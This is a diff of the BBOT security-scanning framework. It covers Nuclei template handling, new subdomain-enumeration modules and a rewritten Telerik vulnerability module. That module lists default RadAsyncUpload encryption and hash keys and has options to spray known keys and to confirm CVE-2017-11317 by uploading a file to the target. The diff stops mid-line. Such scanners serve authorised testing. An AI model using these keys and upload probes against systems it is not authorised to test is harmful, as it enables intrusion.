self.helpers.run_in_executor_io(self._acquire_template_lock) + try: + if not uncontended and self._templates_installed(): + self.info("Nuclei templates already up-to-date") + return True + outcome = await self._run_template_update() + if self._templates_installed(): + return True + # A download that never produced files is a fetch failure, not the + # stale-marker corruption the wipe exists to repair. Wiping and + # re-downloading just doubles the requests against a source that is + # already failing, so only repair when the update claimed success. + if outcome == "failure": + return False + # nuclei writes its version marker before the tarball finishes + # extracting, so a killed update can leave the marker pointing at an + # empty dir and every subsequent run reports "up-to-date." + self.warning("Nuclei templates appear incomplete; wiping isolated state and re-downloading") + shutil.rmtree(self.nuclei_state_dir, ignore_errors=True) + self.nuclei_config_dir.mkdir(parents=True, exist_ok=True) + self.nuclei_cache_dir.mkdir(parents=True, exist_ok=True) + await self._run_template_update() + return self._templates_installed() + finally: + self._release_template_lock() + + def _acquire_template_lock(self): + lock_path = self.helpers.tools_dir / "nuclei-templates.lock" + self._template_lock_file = open(lock_path, "w") + try: + fcntl.flock(self._template_lock_file, fcntl.LOCK_EX | fcntl.LOCK_NB) + return True + except OSError: + fcntl.flock(self._template_lock_file, fcntl.LOCK_EX) + return False + + def _release_template_lock(self): + lock_file = getattr(self, "_template_lock_file", None) + if lock_file is None: + return + self._template_lock_file = None + with suppress(OSError): + fcntl.flock(lock_file, fcntl.LOCK_UN) + with suppress(OSError): + lock_file.close() + + async def _run_template_update(self): self.info("Updating Nuclei templates") # shield so an outer cancel can't kill the subprocess mid-extract and # corrupt the templates dir @@ -361,6 +590,7 @@ async def _update_templates(self): self.info("Nuclei templates already up-to-date") else: self.warning(f"Failure while updating nuclei templates: {update_results.stderr or ''}") + return outcome # nuclei's success messaging has drifted across releases (installed / updated / # downloaded). Match any of them so a future rename doesn't silently downgrade @@ -394,101 +624,81 @@ async def filter_event(self, event): return True +def summarize_nuclei_templates(templates_dir): + """Reduce every nuclei template to the minimal shape budget mode needs. + + Runs in a subprocess via run_in_executor_mp, so it lives at module level and returns plain data. + """ + summary = {} + for yf in Path(templates_dir).rglob("*.yaml"): + try: + parsed = yaml.safe_load(yf.read_text(errors="ignore")) + except (yaml.YAMLError, OSError): + continue + if not isinstance(parsed, dict): + continue + requests = [r for r in parsed.get("http") or [] if isinstance(r, dict)] + # nuclei only runs fuzzing (DAST) and headless templates with -dast / -headless, which bbot never passes + if parsed.get("headless") or any(r.get("fuzzing") for r in requests): + continue + blocks = [] + has_raw = False + for request in requests: + if request.get("raw"): + has_raw = True + continue + # a request is "clean" if nuclei can merge it with an identical one from another template + clean = not any( + ( + request.get("headers"), + request.get("method", "GET") != "GET", + request.get("max-redirects"), + request.get("redirects"), + request.get("cookie-reuse"), + ) + ) + blocks.append({"paths": list(request.get("path") or []), "clean": clean}) + if not blocks: + continue + info = parsed.get("info") + severity = info.get("severity", "unknown") if isinstance(info, dict) else "unknown" + summary[str(yf)] = {"severity": severity, "has_raw": has_raw, "blocks": blocks} + return summary + + class NucleiBudget: - def __init__(self, nuclei_module): - self.parent = nuclei_module - self._yaml_files = {} - self.templates_dir = nuclei_module.nuclei_templates_dir - self.yaml_list = self.get_yaml_list() - self.budget_paths = self.find_budget_paths(nuclei_module.budget) - self.collapsible_templates, self.severity_stats = self.find_collapsible_templates() + """Select the templates that collapse onto the fewest distinct requests. - def get_yaml_list(self): - return list(self.templates_dir.rglob("*.yaml")) + nuclei merges templates that issue identical requests, so keeping only templates whose paths are + all drawn from the N most common paths in the tree holds the request count near N however many + templates are selected. + """ + + def __init__(self, summary, budget): + self.summary = summary + self.budget_paths = self.find_budget_paths(budget) + self.collapsible_templates, self.severity_stats = self.find_collapsible_templates() - # Given the current budget setting, scan all of the templates for paths, sort them by frequency and select the first N (budget) items def find_budget_paths(self, budget): - path_frequency = {} - for yf in self.yaml_list: - if yf: - for paths in self.get_yaml_request_attr(yf, "path"): - for path in paths: - if path in path_frequency.keys(): - path_frequency[path] += 1 - else: - path_frequency[path] = 1 - - sorted_dict = dict(sorted(path_frequency.items(), key=lambda item: item[1], reverse=True)) - return list(dict(islice(sorted_dict.items(), budget)).keys()) - - def get_yaml_request_attr(self, yf, attr): - p = self.parse_yaml(yf) - requests = p.get("http", []) - for r in requests: - raw = r.get("raw") - if not raw: - res = r.get(attr) - if res is not None: - yield res - - def get_yaml_info_attr(self, yf, attr): - p = self.parse_yaml(yf) - info = p.get("info", []) - res = info.get(attr) - if res is not None: - yield res - - # Parse through all templates and locate those which match the conditions necessary to collapse down to the budget setting + """The `budget` most common request paths across the whole template tree.""" + path_frequency = Counter() + for template in self.summary.values(): + for block in template["blocks"]: + path_frequency.update(block["paths"]) + return {path for path, _ in path_frequency.most_common(budget)} + def find_collapsible_templates(self): collapsible_templates = [] - severity_dict = {} - for yf in self.yaml_list: - valid = True - if yf: - for paths in self.get_yaml_request_attr(yf, "path"): - if set(paths).issubset(self.budget_paths): - headers = self.get_yaml_request_attr(yf, "headers") - for header in headers: - if header: - valid = False - - method = self.get_yaml_request_attr(yf, "method") - for m in method: - if m != "GET": - valid = False - - max_redirects = self.get_yaml_request_attr(yf, "max-redirects") - for mr in max_redirects: - if mr: - valid = False - - redirects = self.get_yaml_request_attr(yf, "redirects") - for rd in redirects: - if rd: - valid = False - - cookie_reuse = self.get_yaml_request_attr(yf, "cookie-reuse") - for c in cookie_reuse: - if c: - valid = False - - if valid: - collapsible_templates.append(str(yf)) - severity_gen = self.get_yaml_info_attr(yf, "severity") - severity = next(severity_gen) - if severity in severity_dict.keys(): - severity_dict[severity] += 1 - else: - severity_dict[severity] = 1 - return collapsible_templates, severity_dict - - def parse_yaml(self, yamlfile): - if yamlfile not in self._yaml_files: - with open(yamlfile, "r") as stream: - try: - y = yaml.safe_load(stream) - self._yaml_files[yamlfile] = y - except yaml.YAMLError as e: - self.parent.warning(f"failed to load yaml file: {e}") - return {} - return self._yaml_files[yamlfile] + severity_stats = Counter() + for template_path, template in sorted(self.summary.items()): + # nuclei runs every request block in a template, not just the one that fit the budget, + # so a template only counts as collapsible if all of its blocks do + if template["has_raw"]: + continue + if not all( + block["clean"] and set(block["paths"]).issubset(self.budget_paths) for block in template["blocks"] + ): + continue + collapsible_templates.append(template_path) + severity_stats[template["severity"]] += 1 + return collapsible_templates, severity_stats diff --git a/bbot/modules/otilabs.py b/bbot/modules/otilabs.py new file mode 100644 index 0000000000..664f881308 --- /dev/null +++ b/bbot/modules/otilabs.py @@ -0,0 +1,45 @@ +from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from bbot.core.config.models import BaseModuleConfig, Field + + +class otilabs(subdomain_enum_apikey): + watched_events = ["DNS_NAME"] + produced_events = ["DNS_NAME"] + flags = ["safe", "subdomain-enum", "passive"] + meta = { + "description": "Query the OTI Labs Domain Intelligence API for subdomains", + "created_date": "2026-10-05", + "author": "@OsirisTechnicalInstitute", + } + + class Config(BaseModuleConfig): + api_key: str | list[str] = Field( + "", + description="RapidAPI key subscribed to the OTI Labs Domain Intelligence API", + sensitive=True, + mandatory=True, + ) + + base_url = "https://domain-intelligence-api.p.rapidapi.com" + api_host = "domain-intelligence-api.p.rapidapi.com" + + def prepare_api_request(self, url, kwargs): + kwargs["headers"]["x-rapidapi-host"] = self.api_host + kwargs["headers"]["x-rapidapi-key"] = self.api_key + return url, kwargs + + async def request_url(self, query): + # BBOT queries each domain once, so ask the API to wait for all of its sources (wait=1) + # instead of returning its fast partial snapshot. That takes 15-20 seconds for a domain + # the API hasn't seen before and is immediate when it's cached. + url = f"{self.base_url}/domain/{self.helpers.quote(query)}/subdomains?wait=1" + return await self.api_request(url, timeout=self.http_timeout_infrastructure + 20) + + async def parse_results(self, r, query): + results = set() + j = r.json() + if isinstance(j, dict): + for host in j.get("subdomains", []): + if isinstance(host, str) and host.endswith(f".{query}"): + results.add(host) + return results diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index 82656e0e30..fd06f46f3e 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -14,4 +14,4 @@ class Config(BaseModuleConfig): webhook_url: str = Field("", description="Discord webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") - retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + retries: int | None = Field(None, deprecated=True, description="No longer used") diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 768a48bb6d..7718a9cd35 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -23,9 +23,13 @@ class Config(BaseModuleConfig): username: str = Field("elastic", description="Elastic username", sensitive=True) password: str = Field("bbotislife", description="Elastic password", sensitive=True) timeout: int = Field(10, description="HTTP timeout") + ssl_verify: bool | None = Field( + False, + description="Verify SSL certificates (Elastic usually serves a self-signed cert; set to null to use the global web.ssl_verify_infrastructure setting)", + ) async def cleanup(self): # refresh the index doc_regex = self.helpers.re.compile(r"/[^/]+$") refresh_url = doc_regex.sub("/_refresh", self.url) - await self.helpers.request(refresh_url, auth=self.auth) + await self.helpers.request(refresh_url, auth=self.auth, ssl_verify=self.ssl_verify) diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py index b09d101b48..ac929016a3 100644 --- a/bbot/modules/output/mysql.py +++ b/bbot/modules/output/mysql.py @@ -20,7 +20,7 @@ class Config(BaseModuleConfig): 10, description="Number of times to retry connecting to the database (1 second between retries)" ) - deps_pip = ["sqlmodel", "aiomysql"] + deps_pip = ["sqlmodel[asyncio]", "aiomysql"] protocol = "mysql+aiomysql" async def create_database(self): diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py index a94ade61b8..000e73845d 100644 --- a/bbot/modules/output/postgres.py +++ b/bbot/modules/output/postgres.py @@ -20,7 +20,7 @@ class Config(BaseModuleConfig): 10, description="Number of times to retry connecting to the database (1 second between retries)" ) - deps_pip = ["sqlmodel", "asyncpg"] + deps_pip = ["sqlmodel[asyncio]", "asyncpg"] protocol = "postgresql+asyncpg" async def create_database(self): diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index 3b80daf9e1..c42c992eb4 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -16,7 +16,7 @@ class Config(BaseModuleConfig): webhook_url: str = Field("", description="Slack webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") - retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + retries: int | None = Field(None, deprecated=True, description="No longer used") content_key = "text" diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py index f48b800554..852426715a 100644 --- a/bbot/modules/output/sqlite.py +++ b/bbot/modules/output/sqlite.py @@ -18,7 +18,7 @@ class Config(BaseModuleConfig): 10, description="Number of times to retry connecting to the database (1 second between retries)" ) - deps_pip = ["sqlmodel", "aiosqlite"] + deps_pip = ["sqlmodel[asyncio]", "aiosqlite"] async def setup(self): db_file = self.config.get("database", "") diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index 4954bea293..e93f06e3ab 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -14,7 +14,7 @@ class Config(BaseModuleConfig): webhook_url: str = Field("", description="Teams webhook URL", sensitive=True) event_types: list[str] = Field(["FINDING"], description="Types of events to send") min_severity: str = Field("LOW", description="Only allow FINDING events of this severity or higher") - retries: int = Field(10, description="Number of times to retry sending the message before skipping the event") + retries: int | None = Field(None, deprecated=True, description="No longer used") async def handle_event(self, event): data = self.format_message(event) diff --git a/bbot/modules/output/webhook.py b/bbot/modules/output/webhook.py index 8d5d9f21f5..6948e69b94 100644 --- a/bbot/modules/output/webhook.py +++ b/bbot/modules/output/webhook.py @@ -19,11 +19,17 @@ class Config(BaseModuleConfig): password: str = Field("", description="Password (basic auth)", sensitive=True) headers: dict = Field({}, description="Additional headers to send with the request", sensitive=True) timeout: int = Field(10, description="HTTP timeout") + ssl_verify: bool | None = Field( + None, description="Verify SSL certificates (defaults to the global web.ssl_verify_infrastructure setting)" + ) async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) + self.ssl_verify = self.config.get("ssl_verify", None) + if self.ssl_verify is None: + self.ssl_verify = self.helpers.web.ssl_verify_infrastructure self.headers = dict(self.config.get("headers") or {}) bearer = self.config.get("bearer", "") if bearer: @@ -42,27 +48,13 @@ async def setup(self): return True async def handle_event(self, event): - while 1: - event_json = event.json() - event_pydantic = Event(**event_json) - event_json = event_pydantic.model_dump(exclude_none=True) - response = await self.helpers.request( - url=self.url, - method=self.method, - auth=self.auth, - headers=self.headers, - json=event_json, - ) - is_success = False if response is None else response.is_success - if not is_success: - status_code = getattr(response, "status_code", 0) - self.warning(f"Error sending {event} (HTTP status code: {status_code}), retrying...") - body = getattr(response, "text", "") - self.debug(body) - if status_code == 429: - sleep_interval = 10 - else: - sleep_interval = 1 - await self.helpers.sleep(sleep_interval) - continue - break + event_json = Event(**event.json()).model_dump(exclude_none=True) + await self.api_request( + url=self.url, + method=self.method, + auth=self.auth, + headers=dict(self.headers), + json=event_json, + timeout=self.timeout, + ssl_verify=self.ssl_verify, + ) diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py deleted file mode 100644 index 65c110b10a..0000000000 --- a/bbot/modules/portfilter.py +++ /dev/null @@ -1,43 +0,0 @@ -from bbot.modules.base import BaseInterceptModule -from bbot.core.config.models import BaseModuleConfig, Field - - -class portfilter(BaseInterceptModule): - watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] - flags = ["safe", "passive"] - meta = { - "description": "Filter out unwanted open ports from cloud/CDN targets", - "created_date": "2025-01-06", - "author": "@TheTechromancer", - } - - class Config(BaseModuleConfig): - cdn_tags: str = Field("cdn,waf", description="Comma-separated list of tags to skip, e.g. 'cdn,waf'") - allowed_cdn_ports: str = Field( - "80,443", description="Comma-separated list of ports that are allowed to be scanned for CDNs" - ) - - _priority = 4 - # we consume URLs but we don't want to automatically enable blasthttp - _disable_auto_module_deps = True - - async def setup(self): - self.cdn_tags = [t.strip() for t in self.config.get("cdn_tags", "").split(",")] - self.allowed_cdn_ports = self.config.get("allowed_cdn_ports", "").strip() - if self.allowed_cdn_ports: - try: - self.allowed_cdn_ports = [int(p.strip()) for p in self.allowed_cdn_ports.split(",")] - except Exception as e: - return False, f"Error parsing allowed CDN ports '{self.allowed_cdn_ports}': {e}" - return True - - async def handle_event(self, event, **kwargs): - # if the port isn't in our list of allowed CDN ports - if event.port not in self.allowed_cdn_ports: - for cdn_tag in self.cdn_tags: - if cdn_tag in event.tags: - return ( - False, - f"event has tag '{cdn_tag}' and the port is not in the allowed list", - ) - return True diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index f86eefe455..685582c088 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -3,7 +3,7 @@ from typing import Literal from bbot.modules.base import BaseModule from pydantic import Field, field_validator -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, VersionStr class RetireJSSeverity(IntEnum): @@ -32,8 +32,8 @@ class retirejs(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("5.3.0", description="retire.js version") - node_version: str = Field("18.19.1", description="Node.js version to install locally") + version: VersionStr = Field("5.3.0", description="retire.js version") + node_version: VersionStr = Field("18.19.1", description="Node.js version to install locally") severity: Literal["none", "low", "medium", "high", "critical"] = Field( "medium", description="Minimum severity level to report (none, low, medium, high, critical)" ) diff --git a/bbot/modules/scanmalware.py b/bbot/modules/scanmalware.py new file mode 100644 index 0000000000..d4a6ce2a75 --- /dev/null +++ b/bbot/modules/scanmalware.py @@ -0,0 +1,75 @@ +from bbot.modules.templates.subdomain_enum import subdomain_enum + + +class scanmalware(subdomain_enum): + flags = ["safe", "passive"] + watched_events = ["DNS_NAME"] + produced_events = ["DNS_NAME"] + meta = { + "description": "Query ScanMalware's public scan archive for subdomains", + "created_date": "2026-10-15", + "author": "@jonaslejon", + } + + base_url = "https://scanmalware.com/api/v1" + + # SMQL returns at most 100 scans per page + page_size = 100 + max_pages = 20 + + async def query(self, query): + """ + Three populations, each missing names the others have: names from Certificate + Transparency DNS records, hosts a browser contacted while rendering pages on the + domain, and the hosts of scanned URLs. + """ + results = set() + for request_fn, parse_fn in ( + (self.request_ct_dns, self.parse_ct_dns), + (self.request_hosts, self.parse_hosts), + ): + results.update(await super().query(query, request_fn=request_fn, parse_fn=parse_fn) or []) + results.update(await self.query_scans(query)) + return results + + async def request_ct_dns(self, query): + return await self.api_request(f"{self.base_url}/ct/dns/{self.helpers.quote(query)}?subdomain_limit=5000") + + async def parse_ct_dns(self, r, query): + j = r.json() + if j.get("degraded"): + # the API could not look, so an empty or short list is not an answer about the domain + self.verbose(f'Certificate Transparency lookup for "{query}" was degraded; results may be incomplete') + return set(j.get("subdomains") or []) | set(j.get("subdomains_unresolved") or []) + + async def request_hosts(self, query): + # observed and scripts are the hosts a browser actually contacted; the endpoint's default + # also includes "stream" hosts, which were never fetched + url = f"{self.base_url}/hosts/{self.helpers.quote(query)}?sources=observed,scripts&subdomains_only=true" + return await self.api_request(url) + + async def parse_hosts(self, r, query): + return set(r.json().get("subdomains") or []) + + async def query_scans(self, query): + results = set() + q = self.helpers.quote(f"domain:*.{query}") + url = f"{self.base_url}/search/smql?q={q}&limit={{page_size}}&page={{page}}" + agen = self.api_page_iter(url, page_size=self.page_size) + try: + pages = 0 + async for j in agen: + pages += 1 + for scan in j.get("results") or []: + for scanned_url in (scan.get("url"), scan.get("final_url")): + if scanned_url: + host = self.helpers.urlparse(scanned_url).hostname + if host: + results.add(host) + if not (j.get("pagination") or {}).get("has_next") or pages >= self.max_pages: + break + except Exception as e: + self.info(f'Error retrieving scans for "{query}": {e}', trace=True) + finally: + await agen.aclose() + return results diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index b874428169..86e98b5cec 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -63,40 +63,21 @@ async def handle_event(self, event): for data in host["data"]: # TECHNOLOGY Extraction - ## TECHNOLOGY CPE Formats - for technology in data.get("cpe", []): - tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} + # name technologies by their CPE product, falling back to Shodan's product name when there's no CPE + technologies = [] + for cpe in data.get("cpe23") or data.get("cpe") or []: + technology = self.helpers.cpe_product(cpe) + if technology is not None: + technologies.append({"technology": technology, "cpe": cpe}) + if not technologies and "product" in data: + technologies.append({"technology": data["product"]}) + for tech in technologies: await self.emit_event( - tech, + {**tech, "host": data.get("ip_str")}, "TECHNOLOGY", parent=event, tags=data.get("tags") or [], - context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}", - ) - - for technology in data.get("cpe23", []): - tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")} - await self.emit_event( - tech, - "TECHNOLOGY", - parent=event, - tags=data.get("tags") or [], - context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}", - ) - - # TECHNOLOGY Additional Formats - if "product" in data: - tech = { - "technology": data.get("product"), - "host": data.get("ip_str"), - "port": data.get("port"), - } - await self.emit_event( - tech, - "TECHNOLOGY", - parent=event, - tags=data.get("tags") or [], - context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {data['product']}", + context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {tech['technology']}", ) if "http" in data: diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 9eec8104a5..9615fd7ada 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -51,13 +51,7 @@ class shodan_idb(BaseModule): } class Config(BaseModuleConfig): - retries: Optional[int] = Field( - None, - description="How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.", - ) - - # we typically don't want to abort this module - _api_failure_abort_threshold = 9999999999 + retries: Optional[int] = Field(None, deprecated=True, description="No longer used") # since there are rate limits, we set a lower qsize # this way when our queue is full, we can give the API a break @@ -83,11 +77,6 @@ async def setup(self): def _incoming_dedup_hash(self, event): return hash(self.get_ip(event)) - @property - def api_retries(self): - # allow the module to override global retry setting - return self.config.get("retries", None) or super().api_retries - async def handle_event(self, event): ip = self.get_ip(event) if ip is None: @@ -140,8 +129,12 @@ async def _parse_response(self, data: dict, event, ip): context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}', ) for cpe in data.get("cpes", []): + technology = self.helpers.cpe_product(cpe) + if technology is None: + self.debug(f"Skipping CPE without a product: {cpe}") + continue await self.emit_event( - {"technology": cpe, "host": str(event.host)}, + {"technology": technology, "cpe": cpe, "host": str(event.host)}, "TECHNOLOGY", parent=event, context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}', diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index a99063b3d0..bdcc314cfd 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -75,7 +75,7 @@ async def setup(self): return True def prepare_api_request(self, url, kwargs): - kwargs["headers"] = {"Authorization": f"Bearer {self.api_key}"} + kwargs.setdefault("headers", {})["Authorization"] = f"Bearer {self.api_key}" return url, kwargs async def handle_event(self, event): diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 8fc1462f6c..61de16da5a 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -1,23 +1,40 @@ -from sys import executable +import base64 +import itertools +import re +from pathlib import Path +from typing import Optional + +from Crypto.Cipher import AES +from badsecrets import modules_loaded from bbot.modules.base import BaseModule from bbot.core.config.models import BaseModuleConfig, Field +Telerik_HashKey = modules_loaded["telerik_hashkey"] +Telerik_EncryptionKey = modules_loaded["telerik_encryptionkey"] + + +# Default RAU keys shipped with Telerik.Web.UI pre-R2 2017 SP2 (CVE-2017-11317). +RAU_DEFAULT_ENC_KEY = "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration" +RAU_DEFAULT_HASH_KEY = "PrivateKeyForHashOfUploadConfiguration" + + class telerik(BaseModule): """ - Test for endpoints associated with Telerik.Web.UI.dll - - Telerik.Web.UI.WebResource.axd (CVE-2017-11317) - Telerik.Web.UI.DialogHandler.aspx (CVE-2017-9248) - Telerik.Web.UI.SpellCheckHandler.axd (associated with CVE-2017-9248) - ChartImage.axd (CVE-2019-19790) + Detect Telerik.Web.UI vulnerabilities: - For the Telerik Report Server vulnerability (CVE-2024-4358) Use the Nuclei Template: (https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-4358.yaml) + - CVE-2017-11317: RadAsyncUpload insecure deserialization (RAU) + - CVE-2017-9248: DialogHandler dp encryption-key leak (oracle + known keys) + - CVE-2019-19790: ChartImage.axd path traversal / SpellCheckHandler exposure - With exploit_RAU_crypto enabled, the module will attempt to exploit CVE-2017-11317. THIS WILL UPLOAD A (benign) FILE IF SUCCESSFUL. + Handler surfaces detected: RAU (Telerik.Web.UI.WebResource.axd?type=rau), + DialogHandler (Telerik.Web.UI.DialogHandler.aspx and variants), + SpellCheckHandler (Telerik.Web.UI.SpellCheckHandler.axd), ChartImage.axd, and + SerializedParameters / _serializedConfiguration blobs surfacing in HTTP responses. - Will dedupe to host by default (running against first received URL). With include_subdirs enabled, will run against every directory. + CVE-2024-4358 (Telerik Report Server auth bypass) is not covered here; use the + projectdiscovery/nuclei-templates CVE-2024-4358 template. """ watched_events = ["URL", "HTTP_RESPONSE"] @@ -29,48 +46,49 @@ class telerik(BaseModule): "author": "@liquidsec", } - telerikVersions = [ - "2007.1423", - "2007.1521", - "2007.1626", - "2007.2918", - "2007.21010", - "2007.21107", - "2007.31218", - "2007.31314", - "2007.31425", - "2008.1415", - "2008.1515", - "2008.1619", - "2008.2723", - "2008.2826", - "2008.21001", - "2008.31105", - "2008.31125", - "2008.31314", - "2009.1311", - "2009.1402", - "2009.1527", - "2009.2701", - "2009.2826", - "2009.31103", - "2009.31208", - "2009.31314", - "2010.1309", - "2010.1415", - "2010.1519", - "2010.2713", - "2010.2826", - "2010.2929", - "2010.31109", - "2010.31215", - "2010.31317", - "2011.1315", - "2011.1413", - "2011.1519", - "2011.2712", - "2011.2915", - "2011.31115", + # Pre-CVE-2017-11317 (Telerik shipped default keys until R2 2017 SP2 / 2017.2.711). + _TELERIK_VERSIONS_PREPATCH = [ + "2007.1.423", + "2007.1.521", + "2007.1.626", + "2007.2.918", + "2007.2.1010", + "2007.2.1107", + "2007.3.1218", + "2007.3.1314", + "2007.3.1425", + "2008.1.415", + "2008.1.515", + "2008.1.619", + "2008.2.723", + "2008.2.826", + "2008.2.1001", + "2008.3.1105", + "2008.3.1125", + "2008.3.1314", + "2009.1.311", + "2009.1.402", + "2009.1.527", + "2009.2.701", + "2009.2.826", + "2009.3.1103", + "2009.3.1208", + "2009.3.1314", + "2010.1.309", + "2010.1.415", + "2010.1.519", + "2010.2.713", + "2010.2.826", + "2010.2.929", + "2010.3.1109", + "2010.3.1215", + "2010.3.1317", + "2011.1.315", + "2011.1.413", + "2011.1.519", + "2011.2.712", + "2011.2.915", + "2011.3.1115", "2011.3.1305", "2012.1.215", "2012.1.411", @@ -95,6 +113,7 @@ class telerik(BaseModule): "2014.3.1024", "2015.1.204", "2015.1.225", + "2015.1.401", "2015.2.604", "2015.2.623", "2015.2.729", @@ -103,12 +122,12 @@ class telerik(BaseModule): "2015.3.1111", "2016.1.113", "2016.1.225", + "2016.1.1213", "2016.2.504", "2016.2.607", "2016.3.914", "2016.3.1018", "2016.3.1027", - "2016.1.1213", "2017.1.118", "2017.1.228", "2017.2.503", @@ -117,7 +136,81 @@ class telerik(BaseModule): "2017.3.913", ] - DialogHandlerUrls = [ + # Post-patch versions still show up with placeholder default keys in real deployments + # (admins who copy web.config example values without regenerating). 2018.1.117 is the + # last PBKDF1_MS release before the switch to PBKDF2. + _TELERIK_VERSIONS_PATCHED = [ + "2018.1.117", + "2018.2.516", + "2018.2.710", + "2018.3.910", + "2019.1.115", + "2019.1.215", + "2019.2.514", + "2019.3.917", + "2019.3.1023", + "2020.1.114", + "2020.1.219", + "2020.2.512", + "2020.2.617", + "2020.3.915", + "2020.3.1021", + "2021.1.119", + "2021.1.224", + "2021.1.330", + "2021.2.511", + "2021.2.616", + "2021.3.914", + "2021.3.1111", + "2022.1.119", + "2022.1.302", + "2022.2.511", + "2022.2.622", + "2022.3.913", + "2022.3.921", + "2022.3.1109", + "2023.1.117", + "2023.1.314", + "2023.1.323", + "2023.1.425", + "2023.2.606", + "2023.2.718", + "2023.2.829", + "2023.3.1010", + "2023.3.1114", + "2024.1.130", + "2024.1.312", + "2024.1.319", + "2024.2.513", + "2024.2.514", + "2024.3.806", + "2024.3.924", + "2024.3.1015", + "2024.4.1112", + "2024.4.1113", + "2024.4.1114", + "2025.1.211", + "2025.1.218", + "2025.1.416", + "2025.2.520", + "2025.2.528", + "2025.2.609", + "2025.3.812", + "2025.3.825", + ] + + # Combined pre-patch + patched + undotted variants of pre-patch. Telerik shipped some + # early releases with an undotted revision (2011.3.1115 also appeared as 2011.31115), so + # both formats have to be tried when the target's actual manifest is unknown. + telerik_versions = list( + dict.fromkeys( + _TELERIK_VERSIONS_PREPATCH + + _TELERIK_VERSIONS_PATCHED + + [re.sub(r"\.(?=\d+$)", "", v) for v in _TELERIK_VERSIONS_PREPATCH] + ) + ) + + dialoghandler_urls = [ "Telerik.Web.UI.DialogHandler.aspx", "Telerik.Web.UI.DialogHandler.axd", "Admin/ServerSide/Telerik.Web.UI.DialogHandler.aspx", @@ -152,273 +245,728 @@ class telerik(BaseModule): "WebUIDialogs/Telerik.Web.UI.DialogHandler.aspx", ] - RAUConfirmed = [] - class Config(BaseModuleConfig): - exploit_RAU_crypto: bool = Field(False, description="Attempt to confirm any RAU AXD detections are vulnerable") - include_subdirs: bool = Field(False, description="Include subdirectories in the scan (off by default)") + rau_confirm_version: bool = Field( + False, + description=( + "WARNING: writes a benign 1-byte file to the target's C:\\windows\\temp\\ on success. " + "Iterates candidate Telerik versions with default keys; the version that uploads is " + "the installed one, which also confirms RCE." + ), + ) + include_subdirs: bool = Field( + False, + description="Probe every discovered subdirectory instead of only the site root.", + ) + try_known_keys: bool = Field( + True, + description="After DialogHandler detection, spray known Telerik hash/encryption keys (via badsecrets).", + ) + probe_dialoghandler_oracle: bool = Field( + True, + description="After DialogHandler detection, probe for CVE-2017-9248 oracle-vulnerable state.", + ) + include_machinekeys: bool = Field( + False, + description="Also spray ASP.NET machineKey values (thousands of keys, much slower).", + ) + custom_secrets: Optional[str] = Field( + None, + description="Path to a file with additional Telerik hash/encryption keys to spray, one per line.", + ) in_scope_only = True - deps_pip = ["pycryptodome~=3.23.0"] - - deps_ansible = [ - {"name": "Create telerik dir", "file": {"state": "directory", "path": "#{BBOT_TOOLS}/telerik/"}}, - {"file": {"state": "touch", "path": "#{BBOT_TOOLS}/telerik/testfile.txt"}}, - { - "name": "Download RAU_crypto", - "unarchive": { - "src": "https://github.com/bao7uo/RAU_crypto/archive/refs/heads/master.zip", - "include": "RAU_crypto-master/RAU_crypto.py", - "dest": "#{BBOT_TOOLS}/telerik/", - "remote_src": True, - }, - }, - ] + deps_pip = ["badsecrets~=1.3.0"] _module_threads = 5 + async def setup(self): + # base_url -> Telerik version confirmed via the RAU upload path. The same install + # backs the DialogHandler, so an RAU-confirmed version enriches DH findings too. + self._rau_version_by_base = {} + custom_secrets = self.config.get("custom_secrets", None) + if custom_secrets: + path = 